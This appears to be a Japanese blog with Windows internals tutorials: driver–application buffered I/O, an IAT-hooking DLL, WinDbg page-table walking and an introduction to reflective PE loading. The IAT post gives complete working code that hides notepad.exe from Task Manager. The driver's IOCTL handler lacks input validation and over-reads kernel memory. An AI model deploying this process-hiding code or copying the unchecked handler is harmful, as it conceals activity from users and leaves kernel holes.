Snoozy

1.Sleep-inducing; tedious.

Buffer I/Oによるドライバとアプリケーション間のデータ転送をやってみる

Buffer I/Oによるドライバとアプリケーション間のデータ転送をやってみる

アプリケーションからI/O要求を行い,デバイスドライバにデータを転送する場合,一時的にデータを保存するためのバッファが必要になる. Windowsではデータバッファにアクセスするための3つの方法が用意されている.

  • Buffer I/O
  • Direct I/O
  • Neither I/O

ここでは,最も使用方法が単純なBuffer I/Oを使ってデバイスドライバとアプリケーション間のデータ転送をやってみる.

単純なドライバ

Visual Studioによる警告無しにコンパイル可能な,ドライバの最小の構成は以下だろう.

#include <ntddk.h> 

 extern "C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) 
 { 
     UNREFERENCED_PARAMETER(DriverObject); 
     UNREFERENCED_PARAMETER(RegistryPath); 

     /*
     do something
     */

     return STATUS_SUCCESS;
}

デバイスドライバがシステムにロードされた時の最初のルーチンとして,DriverEntryが呼び出される.

ただし,Unload処理などを一切を記述していないため,このまま使用するのは避けるべきだ.

またこのままではアプリケーションからこのドライバにアクセスすることはできない.

アプリケーションからドライバにアクセスするにはシンボリックリンクを介する必要がある.

extenr "C"について補足すると,C++では関数名がそのままシンボル名になるわけではなく,引数や戻り値の型情報を付加した情報をリンカーに渡すようになっている. したがってCとC++で書かれたコードを混在させる場合,名前修飾される前の関数名をシンボルとして使用するにはこのようにすればよいということである.

バイスシンボリックリンクの作成

ドライバはWindowsカーネル空間上にロードされるため,ユーザー空間上のアプリケーションから直接アクセスすることはできない.

Windowsでは,ユーザー空間のアプリケーションがドライバを操作するのにシンボリックリンクを使用する.

まず,ドライバ側でデバイスオブジェクトと,そのデバイスオブジェクトへのシンボリックリンクを作成する.

アプリケーションは,このシンボリックリンクを読み書きすることでデバイスを操作する.

この操作に該当するコードは以下のようになる.

 // Create Device Object(Driver Instance)
    status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
    if (!NT_SUCCESS(status)) {
        DbgPrint("[+]IoCreateDeivce failed\n");
        return status;
    }
    DbgPrint("[+]IoCreateDeivce success\n");


    // Create Symblic Link
    status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
    if (!NT_SUCCESS(status)) {
        DbgPrint("[+]IoCreateSymbolicLink  failed\n");
        return status;
    }
    DbgPrint("[+]IoCreateSymbolicLink success\n");

バイスシンボリックリンクを確認するにはWinObjを使用する. 以下は,デバイスIRPTestDeviceとそのシンボリックリンクIRPTestDeviceをWinObjで見た様子.

f:id:snoozekvn:20200402083955j:plain

ディスパッチハンドラの作成

ユーザー空間のアプリケーションがデバイスにアクセスするには必ずNT ExecutiveのI/Oマネージャを通過する必要がある. アプリケーションはWindows APIを介してI/OマネージャにI/O操作を要求し,I/OマネージャがデバイスにIRP(I/O Request Packet)を送信する.

f:id:snoozekvn:20200402084004p:plain

引用元:http://www.windowsbugcheck.com/p/lets-start-with-question-what-is-driver.html

IRPはI/Oマネージャによって作成される構造体であり,そのIO_STACK_LOCATIONには関数コードが格納されている.ドライバはこの関数コードを判定し,適当なディスパッチルーチンを実行する.

必要要件ではないが,ここではIRP_MJ_DEVICE_CONTROLを除いたすべてのIRPを同一の関数へ流すことにする.

この操作に該当するコードは以下のようになる.

 // Modify IRP handler
    for (auto i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
        DriverObject->MajorFunction[i] = DispatchTestFunction;
    }
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = SioctlDeviceControl;

    DbgPrint("[+]MajorFunction modified\n");

関数コードIRP_MJ_DEVICE_CONTROLを受けて呼び出されるディスパッチハンドラSioctlDeviceControlについては後述する.

Unload処理の作成

バイスオブジェクトの終了処理はシステムの安定さに不可欠だ.

シンボリックリンクの削除とデバイスオブジェクトの削除が主な内容になる.

この操作に該当するコードは以下のようになる.

void Unload(PDRIVER_OBJECT dob)
{
    UNREFERENCED_PARAMETER(dob);

    IoDeleteSymbolicLink(&SymbolicLinkName);
    DbgPrint("[-]SymbolicLink deleted\n");
    IoDeleteDevice(DeviceObject);
    DbgPrint("[-]DeviceObject deleted\n");

    DbgPrint("[-]Driver unloaded!\n");
}

アプリケーションの準備

ここまででドライバ側に必要な処理はほとんど済んだ.

次はこのドライバを操作するアプリケーションの準備だ.

アプリケーションは,カーネル空間のデバイスオブジェクトとシンボリックリンクを介して通信する必要があることは既に述べた.

これには以下のようにすればよい.

まず,シンボリックリンクをCreateFileでオープンし,そのシンボリックリンクファイルのハンドルを得る.

アプリケーション側のコードの雛形は以下のようになる.

#include<stdio.h>
#include<Windows.h>
#include <cstdlib>
#pragma comment(lib,"Kernel32.lib")        

LPCWSTR SymbolicLinkName = L"\\\\.\\IRPTestDevice";

// IRP code that will call our Buffer I/O functionality
#define DEVICE_SEND CTL_CODE(FILE_DEVICE_UNKNOWN, 0x815, METHOD_BUFFERED, FILE_WRITE_DATA)

int main()
{

    // Get device handle
    HANDLE hDevice = CreateFile(SymbolicLinkName, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-]Cannot open device\n");
        return 0;
    }

     /*
     do something
     */

    CloseHandle(hDevice);
    return 0;
}

Buffer I/Oの動作

さて,ここまでアプリケーションとデバイスオブジェクトのシンボリックリンクを介した操作方法を見てきた.

次にBuffer I/Oを見ていく.

Buffer I/Oによる動作の流れは以下のようになる.

f:id:snoozekvn:20200402083959p:plain

引用元:https://docs.microsoft.com/ja-jp/windows-hardware/drivers/kernel/using-buffered-i-o

アプリケーションからのI/O要求を受けて,I/Oマネージャはデータバッファと同じ大きさのシステムバッファを非ページプールに確保する.

ドライバはこのシステムバッファに対して種々の操作を行う.

ドライバによるバッファへの処理が終了すると,I/Oマネージャはシステムバッファの中身をアプリケーションのバッファへコピーする.

バイスからアプリケーションへのIRP送信

実際にBuffer I/Oを介したドライバとアプリケーション間のデータ転送をやってみる.

これにはDeviceIoControlを使用した制御コードの直接送信を利用する. アプリケーション側に以下のようなコードを加える.

     WCHAR message[256] = L"send sample from application";
    ULONG returnLength = 0;
    LPVOID returnBuff[256] = { 0 };

    BOOLEAN call_result = DeviceIoControl(
        hDevice,
        METHOD_BUFFERED,
        message,
        (wcslen(message) + 1) * 2,
        returnBuff,
        sizeof(returnBuff),
        &returnLength,
        0);
    printf("[+]Execute DeviceIoControl \n");

    if (!call_result) {
        printf("[-] Error sending IRP to driver: %s \n", GetLastError());
        return 0;
    }

    wprintf(L"[+]returnBuff %s\n", returnBuff);
    printf("[+]returnLength %d\n", returnLength);

DeviceIoControlを使うことで,ハンドルを持っているデバイスオブジェクトへ直接任意の制御コードを送信することができる.

バイスオブジェクトは関数コードIRP_MJ_DEVICE_CONTROLを受け取り,対応するディスパッチャへ処理が移る. このディスパッチャ内で制御コードを判定すればよいだろう.

この制御コードを受けてBuffer I/Oにとるデータ処理を行うドライバ側のコードは以下のようになる.

NTSTATUS SioctlDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    DbgPrint("[+]DispatchDeviceControl called\n");

    UNREFERENCED_PARAMETER(DeviceObject);
    PIO_STACK_LOCATION  irpSp;// Pointer to current stack location
    NTSTATUS            ntStatus = STATUS_SUCCESS;// Assume success
    ULONG               inBufLength; // Input buffer length
    ULONG               outBufLength; // Output buffer length
    PCHAR               inBuf, outBuf; // pointer to Input and output buffer
    PWCHAR               data = L"This String is from Device Driver !!!";
    size_t              datalen = (wcslen(data) + 1) * 2 ;//Length of data including null


    UNREFERENCED_PARAMETER(DeviceObject);

    PAGED_CODE(); // Causing a BSOD when code is executed in a non-pagepool

    irpSp = IoGetCurrentIrpStackLocation(Irp);
    inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;


    if (!inBufLength || !outBufLength)
    {
        ntStatus = STATUS_INVALID_PARAMETER;
        goto End;
    }

    switch (irpSp->Parameters.DeviceIoControl.IoControlCode)
    {
    case METHOD_BUFFERED:

        DbgPrint("[+]Called IOCTL_SIOCTL_METHOD_BUFFERED\n");
        PrintIrpInfo(Irp);

        inBuf = (PCHAR)Irp->AssociatedIrp.SystemBuffer;
        outBuf = (PCHAR)Irp->AssociatedIrp.SystemBuffer;

        DbgPrint("\tData from User :");
        PrintChars(inBuf, inBufLength);

        RtlCopyBytes(outBuf, data, outBufLength);
        DbgPrint("\tData to User : ");
        PrintChars(outBuf, datalen);
        Irp->IoStatus.Information = (outBufLength < datalen ? outBufLength : datalen);
        break;

    default:
        ntStatus = STATUS_INVALID_DEVICE_REQUEST;
        DbgPrint("ERROR: unrecognized IOCTL %x\n",
            irpSp->Parameters.DeviceIoControl.IoControlCode);
        break;
    }

End:
    Irp->IoStatus.Status = ntStatus;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return ntStatus;
}

ここまでの全体の流れをまとめると以下のようになる.

  1. アプリケーションが, DeviceIoControlを使用してシンボリックリンクへアクセスすることにより,I/Oマネージャがドライバに対してIRPを送信する.
  2. IRPを受信したドライバはIRPの関数コードを判定し,適切なディスパッチルーチンを呼び出す.
  3. DeviceIoControlを使用したIRPの関数コードはIRP_MJ_DEVICE_CONTROLであり,上記コードのSioctlDeviceControlへ処理が移る.
  4. SioctlDeviceControlでは制御コードを判定して処理を行う.
  5. もし制御コードがMETHOD_BUFFEREDであった場合,アプリケーションが用意したバッファと同じサイズのバッファが非ページシステムバッファに作成される.
  6. 任意の処理を行った後,この非ページシステムバッファがアプリケーション側のバッファに反映される.

デモ

www.youtube.com

コード全体は以下を参照のこと. ドライバ側で入力値検査を行っていない点に注意.

application.cpp · GitHub

以上.

参考

github.com

docs.microsoft.com

I/O Control Operations

sciencepark.co.jp

Windows Driver Development Tutorial 4 - Drivers and Applications Communication Using IOCTL - Part 2 - YouTube

IAT Hookをやってみる

IAT Hookをやってみる

PEファイルフォーマットにおけるIAT(Import Address Table)は,インポートしたAPIのエントリーポイントへのアドレスが記載されるルックアップテーブルだ.

あるモジュールからエクスポートされるAPIを使用する際,実行時にIATを参照して当該モジュール内のAPIへジャンプするという処理が行われる.

したがってこのIATエントリを適切に書き換えることで,API呼び出しをフックすることができる.

本稿では,IAT書き換えによるAPIフックを行うDLLを作成し,実際にタスクマネージャプロセスから特定プロセスを隠してみる.

自プロセスのIATをフックしてみる

いきなりIATフックを行うDLLを作成するのは,デバッグ等の点からハードルが高い.

そこでここでは,最初に自プロセスのIATをフックするプログラムを作成し挙動を観察した後,それをDLL化する方針を取る.

まずはWikiのサンプルコードを使用してIATフックの動作を確認する.

en.wikipedia.org

ここで筆者が確認したいことは以下の2つだ.

  • ディスク上のオフセット(すなわちRVA)からIATエントリのVAへの変換
  • IATエントリ書き換え動作の様子

最初にディスク上の実行ファイル内オフセットから,メモリ上のIATエントリのアドレスへと変換してみる.

PE-bearを使うと,MessageBoxAのアドレスを格納したIATエントリは実行ファイルの先頭からオフセット0x20158に位置することが分かる.

f:id:snoozekvn:20200327232932j:plain

さらに実行ファイルのImageBaseは以下から0x00007ff7f5fd0000だとわかる.

f:id:snoozekvn:20200327232927j:plain

ディスク上の実行ファイル内オフセットとメモリ上のIATエントリのアドレスは以下のような関係にある.

ImageBase + MessageBoxAへのアドレスを格納したIATエントリのRVA  = メモリ上のMessageBoxAへのアドレスを格納したIATエントリへのアドレス

したがって

0x00007ff7f5fd0000 + 0x20158 = 0x00007ff7f5ff0158

となる.

今,MessageBoxAへのアドレスは以下の画像により0x00007ff60f3b1e68であることが分かっている.

f:id:snoozekvn:20200327232922j:plain

実際にこの値を確認すると確かにMessageBoxAのアドレスが保持されており,メモリ上のIATのアドレスが求まったといえる.

f:id:snoozekvn:20200327235412j:plain

恣意的な感じは否めないが,ともあれメモリ上のIATエントリなどの関係性は確認できたのでよしとする.

簡易な計算で,ディスク上の実行ファイル内オフセットからメモリ上のMessageBoxAへのアドレスを保持するIATエントリのアドレスへと変換できるようになった.

さらに処理を進めると,2度目のMessageBoxAのcallで参照するIATの値が書き換わることも確認できる.

以下の画像がフック前.

f:id:snoozekvn:20200327232936j:plain

以下の画像がフック後.

f:id:snoozekvn:20200327232940j:plain

このまま処理を続けるとフック関数へとジャンプし,本来のMessageBoxAとは異なる動作をするようになった.

f:id:snoozekvn:20200327232910j:plain

以上よりIATのフック処理が正常に動作することが確認できた.

続いてIATフックにより特定プロセスを隠ぺいするDLLを作成していく.

IATフックを行うDLLを作成する

タスクマネージャなどのシステム上のプロセス一覧を表示するツールは,Ntdll.dllからエクスポートされるNtQuerySystemInformationを使用して,Windowsカーネルからプロセスリストを得ていることが知られている.

このNtQuerySystemInformationをフックして特定プロセスを隠ぺいするDLLを作成する.

#include "pch.h"
#include <stdio.h>
#include <Psapi.h>
#include <windows.h>
#include <winternl.h>

// Defines and typedefs
#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)

typedef struct _MY_SYSTEM_PROCESS_INFORMATION
{
    ULONG                   NextEntryOffset;
    ULONG                   NumberOfThreads;
    LARGE_INTEGER           Reserved[3];
    LARGE_INTEGER           CreateTime;
    LARGE_INTEGER           UserTime;
    LARGE_INTEGER           KernelTime;
    UNICODE_STRING          ImageName;
    ULONG                   BasePriority;
    HANDLE                  ProcessId;
    HANDLE                  InheritedFromProcessId;
} MY_SYSTEM_PROCESS_INFORMATION, * PMY_SYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS(WINAPI* PNT_QUERY_SYSTEM_INFORMATION)(
    __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout    PVOID SystemInformation,
    __in       ULONG SystemInformationLength,
    __out_opt  PULONG ReturnLength
    );

PNT_QUERY_SYSTEM_INFORMATION OriginalNtQuerySystemInformation =
(PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle(L"ntdll"),
    "NtQuerySystemInformation");

// Hooked function
NTSTATUS WINAPI HookedNtQuerySystemInformation(
    __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout    PVOID                    SystemInformation,
    __in       ULONG                    SystemInformationLength,
    __out_opt  PULONG                   ReturnLength
)
{
    NTSTATUS status = OriginalNtQuerySystemInformation(SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength);
    if (SystemProcessInformation == SystemInformationClass && STATUS_SUCCESS == status)
    {
        // Loop through the list of processes
        PMY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
        PMY_SYSTEM_PROCESS_INFORMATION pNext = (PMY_SYSTEM_PROCESS_INFORMATION)
            SystemInformation;

        do
        {
            pCurrent = pNext;
            pNext = (PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->
                NextEntryOffset);

            if (!wcsncmp(pNext->ImageName.Buffer, L"notepad.exe", pNext->ImageName.Length))
            {
                if (!pNext->NextEntryOffset)
                {
                    pCurrent->NextEntryOffset = 0;
                }
                else
                {
                    pCurrent->NextEntryOffset += pNext->NextEntryOffset;
                }
                pNext = pCurrent;
            }
        } while (pCurrent->NextEntryOffset != 0);
    }
    return status;
}
void DetourIATptr(const char* function, void* newfunction, HMODULE module);



void** IATfind(const char* function, HMODULE module) { //Find the IAT (Import Address Table) entry specific to the given function.
    int ip = 0;
    if (module == 0)
        module = GetModuleHandle(0);
    PIMAGE_DOS_HEADER pImgDosHeaders = (PIMAGE_DOS_HEADER)module;
    PIMAGE_NT_HEADERS pImgNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pImgDosHeaders + pImgDosHeaders->e_lfanew);
    PIMAGE_IMPORT_DESCRIPTOR pImgImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)pImgDosHeaders + pImgNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    if (pImgDosHeaders->e_magic != IMAGE_DOS_SIGNATURE)
        printf("libPE Error : e_magic is no valid DOS signature\n");

    for (IMAGE_IMPORT_DESCRIPTOR* iid = pImgImportDesc; iid->Name != NULL; iid++) {
        for (int funcIdx = 0; *(funcIdx + (LPVOID*)(iid->FirstThunk + (SIZE_T)module)) != NULL; funcIdx++) {
            char* modFuncName = (char*)(*(funcIdx + (SIZE_T*)(iid->OriginalFirstThunk + (SIZE_T)module)) + (SIZE_T)module + 2);
            const uintptr_t nModFuncName = (uintptr_t)modFuncName;
            bool isString = !(nModFuncName & (sizeof(nModFuncName) == 4 ? 0x80000000 : 0x8000000000000000));
            if (isString) {
                if (!_stricmp(function, modFuncName))
                    return funcIdx + (LPVOID*)(iid->FirstThunk + (SIZE_T)module);
            }
        }
    }
    return 0;
}

void DetourIATptr(const char* function, void* newfunction, HMODULE module) {
    void** funcptr = IATfind(function, module);
    if (*funcptr == newfunction)
        return;

    DWORD oldrights, newrights = PAGE_READWRITE;
    //Update the protection to READWRITE
    VirtualProtect(funcptr, sizeof(LPVOID), newrights, &oldrights);

    *funcptr = newfunction;

    //Restore the old memory protection flags.
    VirtualProtect(funcptr, sizeof(LPVOID), oldrights, &newrights);
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DetourIATptr("NtQuerySystemInformation", (void*)HookedNtQuerySystemInformation, 0); //Hook the function       
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

このDLLは以下のような処理を行う.

  1. ターゲットプロセスへのロード時にDllMain内のDetourIATptrが呼ばれる
  2. DetourIATptrはIATfindを呼び出して,Taskmgr.exe内のIATからNtQuerySystemInformationのアドレスが記載されたエントリを見つける
  3. VirtualProtectを使いメモリ属性を変更した後,APIエントリをHookedNtQuerySystemInformationへのアドレスへ書き換える
  4. HookedNtQuerySystemInformationでは,オリジナルのNtQuerySystemInformationを使ってプロセスリストを取得する
  5. アクティブなプロセスのリストにnotepad.exeが見つかった場合このエントリをスキップするようリストを書き換える

デモ

実際に動かしてみる.

youtu.be

以上.

参考

inaz2.hatenablog.com

ired.team

f3real.github.io

仮想アドレスから物理アドレスを求めてみる

仮想アドレスから物理アドレスを求めてみる

本稿では,Windows10 x64システム上で動作する,4-level pagingについてみていく.

最初に4-level pagingによるアドレス変換の概要に触れた後,後半では実際にWinDbgを使ってシステム上の仮想アドレスから物理アドレスへの変換にトライしてみる.

ページング

Intel Developers Manualを参照すると,ページングの方式には大きく3種類あることが分かる.

  • 32bit paging
  • 32bit PAE paging
  • 4-level paging

レジスタに適切な値をセットすることでこれらページングのモードが変わる.

Windows10 x64システムでは通常4-level pagingが使用される.

具体的には,仮想アドレスの変換には以下のような処理を行っている.

f:id:snoozekvn:20200325103814j:plain

引用元: Intel® 64 and IA-32 Architectures Software Developer Manual: Vol 3

この図から,アドレスの変換に4つのルックアップを行うことが分かる.

  1. PML4Tから正しいPDPTE(PDPTエントリ)を見つけるためのルックアップ
  2. PDPT から正しいPDE(PDエントリ)を見つけるためのルックアップ
  3. PDから正しいPTE(PEエントリ)を見つけるためのルックアップ
  4. PTから正しいPhysical Addrを見つけるためのルックアップ

本稿ではこれを手計算で辿っていき,仮想アドレスから物理アドレスへの変換を体験してみる.

PTE(Page Table Entry)

本稿の主題である,仮想アドレスから物理アドレスへの変換に直接関係するわけではないが,PTEはセキュリティ等で重要であるため合わせて載せておく.

x64 ハードウェア PTEは,物理アドレス上のページに関する種々の情報を保持する.

f:id:snoozekvn:20200325111135j:plain

引用元: http://index-of.es/EBooks/NX-bit.pdf

NX bitやValid bit,Dirty bitなどはよく知られているだろう.

例えば,あるページを指すPTEのNX bitが立っていれば,そのページ内でのコード実行が許可されていないことを示し,Dirty bitが立っていれば,何らかの書き込み操作があったことを示す.

また最下位bitはデマンドページングに使用される.

対応するページアクセス時にもし最下位bitが0ならばページフォールトが発生し,システムは物理メモリへのページ割り当て処理へと移行する.

PTEに関する話はこのぐらいにして,以降では実際にWinDbgを使って仮想アドレスから物理アドレスへの変換に挑戦してみる.

WinDbgを使って手動で仮想アドレスを物理アドレスに変換する

まず事前準備としてVirtualBox上のWindows10 64bitのカーネルへ,ホストからWinDbgを使ってアタッチする.

変換対象となる仮想アドレスはなんでもよいのだが,今回は以下のようなプログラムを使って変換を行う.

// Ex1.cpp
#include<iostream>
#include <cstdlib>
int main() {
    unsigned i = 0xDEADBEEF;
    std::cout << "address :  " << std::hex << &i << std::endl;
    std::cout << i << std::endl;
    system("PAUSE");
    return 0;
}

メモリ上に確保された符号なし整数値0xDEADBEEFのアドレスを出力するものだが,当然出力されるアドレスは仮想メモリ空間のアドレスである.

このプログラムを実行すると筆者の環境では0xDEADBEEFのアドレスは0x254dcf584だと表示された.

では,Intel Developers Manualを見つつ,手動で仮想アドレス0x254dcf584を物理アドレスに変換してみよう.

最初にWinDbgでEx1.exeプロセスのコンテキストに移動する.

0: kd> !process 0 0 Ex1.exe
PROCESS ffffa7893d8b9080
    SessionId: 1  Cid: 1c98    Peb: 254e82000  ParentCid: 1388
    DirBase: 11a13002  ObjectTable: ffffb800c9723500  HandleCount:  41.
    Image: Ex1.exe
0: kd> .process /i /p ffffa7893d8b9080
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
0: kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff805`67fca210 cc              int     3

ddで確認すると確かにこの仮想アドレスに0xDEADBEEFが見つかる.

0: kd> dd 254dcf584
00000002`54dcf584  deadbeef cccccccc cccccccc cccccccc
00000002`54dcf594  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5a4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5b4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5c4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5d4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5e4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5f4  cccccccc cccccccc cccccccc cccccccc

これを物理アドレスに変換する.

事前準備として仮想アドレス0x254dcf584をマニュアルに従って分割しておく.

f:id:snoozekvn:20200325103807j:plain

まず,CR3レジスタに格納された値からPML4テーブルへのアドレスを取得する.

0: kd> r cr3
cr3=0000000011a13002
0: kd> !dq 0000000011a13002
#11a13000 8a000000`3bb20867 00000000`00000000
#11a13010 8a000000`41629867 00000000`00000000
#11a13020 00000000`00000000 00000000`00000000
#11a13030 00000000`00000000 00000000`00000000
#11a13040 00000000`00000000 00000000`00000000
#11a13050 00000000`00000000 00000000`00000000
#11a13060 00000000`00000000 00000000`00000000
#11a13070 00000000`00000000 00000000`00000000

エントリが2つあるが,今回は仮想アドレスの47~39bitの9bitが全て0であるため,最初のエントリ8a000000`3bb20867が求める値だとわかる.

次にPDPT内の対応するエントリへのアドレスを求める.

8a000000`3bb20867の51~12bitと,仮想アドレスのの38~30bitを使って対応するアドレスを求める.

0x8による乗算は各エントリのサイズによるものだ.

0: kd> !dq 000000`3bb20000 + 0x9 * 0x8  
#3bb20048 0a000000`2ef21867 00000000`00000000
#3bb20058 00000000`00000000 00000000`00000000
#3bb20068 00000000`00000000 00000000`00000000
#3bb20078 00000000`00000000 00000000`00000000
#3bb20088 00000000`00000000 00000000`00000000
#3bb20098 00000000`00000000 00000000`00000000
#3bb200a8 00000000`00000000 00000000`00000000
#3bb200b8 00000000`00000000 00000000`00000000

これでPDEが求まった. 同じように,0a000000`2ef21867の51~12bitと,仮想アドレスのの29~21bitを使って対応するアドレスを求める.

0: kd> !dq 000000`2ef21000 + 0xa6 * 0x8
#2ef21530 0a000000`67131867 0a000000`64722867
#2ef21540 00000000`00000000 00000000`00000000
#2ef21550 00000000`00000000 00000000`00000000
#2ef21560 00000000`00000000 00000000`00000000
#2ef21570 00000000`00000000 00000000`00000000
#2ef21580 00000000`00000000 00000000`00000000
#2ef21590 00000000`00000000 00000000`00000000
#2ef215a0 00000000`00000000 00000000`00000000

これでPTEが求まった. 続けて,0a000000`67131867の51~12bitと,仮想アドレスのの20~12bitを使って対応するアドレスを求める.

0: kd> !dq 000000`67131000 + 0x1cf * 0x8
#67131e78 84000000`417d3867 00000000`00000000
#67131e88 00000000`00000000 00000000`00000000
#67131e98 00000000`00000000 00000000`00000000
#67131ea8 00000000`00000000 00000000`00000000
#67131eb8 00000000`00000000 00000000`00000000
#67131ec8 00000000`00000000 00000000`00000000
#67131ed8 00000000`00000000 00000000`00000000
#67131ee8 00000000`00000000 00000000`00000000

最後に,84000000`417d3867の51~12bitと,仮想アドレスのの11~0bitを使って物理アドレスを求める.

0: kd> !dq 000000`417d3000 + 0x584
#417d3580 deadbeef`cccccccc cccccccc`cccccccc
#417d3590 cccccccc`cccccccc cccccccc`cccccccc
#417d35a0 cccccccc`cccccccc cccccccc`cccccccc
#417d35b0 cccccccc`cccccccc cccccccc`cccccccc
#417d35c0 cccccccc`cccccccc cccccccc`cccccccc
#417d35d0 cccccccc`cccccccc cccccccc`cccccccc
#417d35e0 cccccccc`cccccccc cccccccc`cccccccc
#417d35f0 cccccccc`cccccccc cccccccc`cccccccc

これにより,確かに0xDEADBEEFが存在する仮想アドレス0x254dcf584から,物理アドレス0x417d3584へと変換することができた.

WinDbgには,!vtopや!pte等のエクステンションコマンドが用意されており,物理アドレスを求めるには通常こちらを使えばよい.

例えば!pteでは以下のようにして仮想アドレスから物理アドレスを求める.

0: kd> !pte 254dcf584                                           VA 0000000254dcf584
PXE at FFFFF8FC7E3F1000    PPE at FFFFF8FC7E200048    PDE at FFFFF8FC40009530    PTE at FFFFF880012A6E78
contains 8A0000003BB20867  contains 0A0000002EF21867  contains 0A00000067131867  contains 84000000417D3867
pfn 3bb20     ---DA--UW-V  pfn 2ef21     ---DA--UWEV  pfn 67131     ---DA--UWEV  pfn 417d3     ---DA--UW-V

PFNが417d3であるから,物理アドレス0x417d3000に仮想アドレスの下位3バイト0x584を加算したものが物理アドレスである.

メモリダンプから確認する

FTK imagerなどでメモリダンプを取り,それをバイナリエディタで開く. 以下はHxDでオフセット417d3580を見ると,0xDEADBEEFが見つかり確かに物理アドレスに変換できていることが確認できる.

f:id:snoozekvn:20200325103810j:plain

以上.

参考

babyron64.hatenablog.com

mumumu-bin.hatenadiary.jp

www.triplefault.io

rayanfam.com

https://i.blackhat.com/USA-19/Thursday/us-19-Sardar-Paging-All-Windows-Geeks-Finding-Evil-In-Windows-10-Compressed-Memory-wp.pdf

http://index-of.es/EBooks/NX-bit.pdf

https://software.intel.com/sites/default/files/managed/39/c5/325462-sdm-vol-1-2abcd-3abcd.pdf

ReflectivePELoaderを実装してみる

ReflectivePELoaderを実装してみる

ディスク上のEXEやDLLは,Windowsが提供するPEローダによって,セクションの展開やベース再配置,IATの解決など,実行可能な状態に調整されながらメモリ上にロードされる.

これはディスク上のPEファイルをそのままメモリ上にロードしただけでは実行することができないことを意味する.

マルウェアなどは解析妨害・検知回避のために,リソースファイルとしてPEファイルを保持し,あるいは一度ディスク上に暗号化されたファイルをドロップした後,自前のローダを使用してこれをメモリ上に展開し実行することがある.

このようなテクニックは一般に,ReflectivePELoaderと呼ばれる.

本稿では,以下のリポジトリを参考にこのReflectivePELoaderを実装してみる.

github.com

本稿が,マルウェア解析やテクニック理解への手助けになれば幸いだ.

ReflectivePELoaderの概要

WindowsのPEローダは大まかに以下のような手順を経て,ディスク上のPEファイルをメモリ上にロードする.

  1. ディスク上のPEファイルを開き、DOSおよびPEヘッダを確認する
  2. 対象ファイル内のPEHeader.OptionalHeader.ImageBaseに指定されたアドレスに、PEHeader.OptionalHeader.SizeOfImageで指定されたバイト分メモリを確保する
  3. セクションヘッダを解析し、IMAGE_SECTION_HEADER構造体のVirtualAddressに基づき、確保したメモリブロックに各セクションをコピーする
  4. ImageBaseと異なるメモリブロックが確保された場合、コードやデータセクションの種々の依存関係を調整する。(ベース再配置)
  5. ライブラリに必要なインポートを、対応するライブラリをロードして解決する。(IATの解決)
  6. PEのエントリーポイント(AddressOfEntryPoint)を呼び出す

本稿では,これら一連の処理をエミュレートしたローダを実装し,実際にリソースとしてローダ内部に組み込まれたEXEファイルを動かしてみる.

ローダが利用するPEファイルフォーマットの重要箇所

PEファイルはメモリ上にそのままロードすれば動くというものではなく,実行可能にするにはいくかの調整が必要となることは既に述べた.

以下にローダによる調整が必要な箇所を列挙する.

  • セクションの展開
  • イメージベースの再配置
  • IATの解決

最低限これだけ押さえておけば,筆者の経験上ミニマルなEXEは動くはずである,

それぞれに必要な処理は以前の記事で既に解説済みであるため,必要であれば参照していただきたい.

snoozy.hatenablog.com

ローダにロード対象ファイルをリソースとして持たせる

Visual Studio 2019で,あるプログラムにリソースとしてファイルを組み込むには以下のようにすればよい.

ソリューションエクスプローラから当該プロジェクトを選択. 「リソースファイル」を右クリックし,「追加」内の「リソース」を選択する.

f:id:snoozekvn:20200318221449j:plain

リソースの追加ウィンドウから「インポート」を選択し,リソースにしたいファイルを選択する.

f:id:snoozekvn:20200318221452j:plain

「インポート」からファイルを選択した場合,カスタムリソースとして扱われ,リソースの種類を定義する必要がある.

f:id:snoozekvn:20200318221416j:plain

以下のようなフォルダ構成になっていればうまく構成できている.

f:id:snoozekvn:20200318221425j:plain

この時点でコンパイルすると,リソースセクションにロード対象が組み込まれたファイルが出力される.

ResourceHackerで確認すると確かにリソースとして組み込まれていることが確認できる.

f:id:snoozekvn:20200318221442j:plain

またPE-bearを使用するとファイル構造が視覚的になって分かりやすいのではないだろうか.

f:id:snoozekvn:20200318221436j:plain

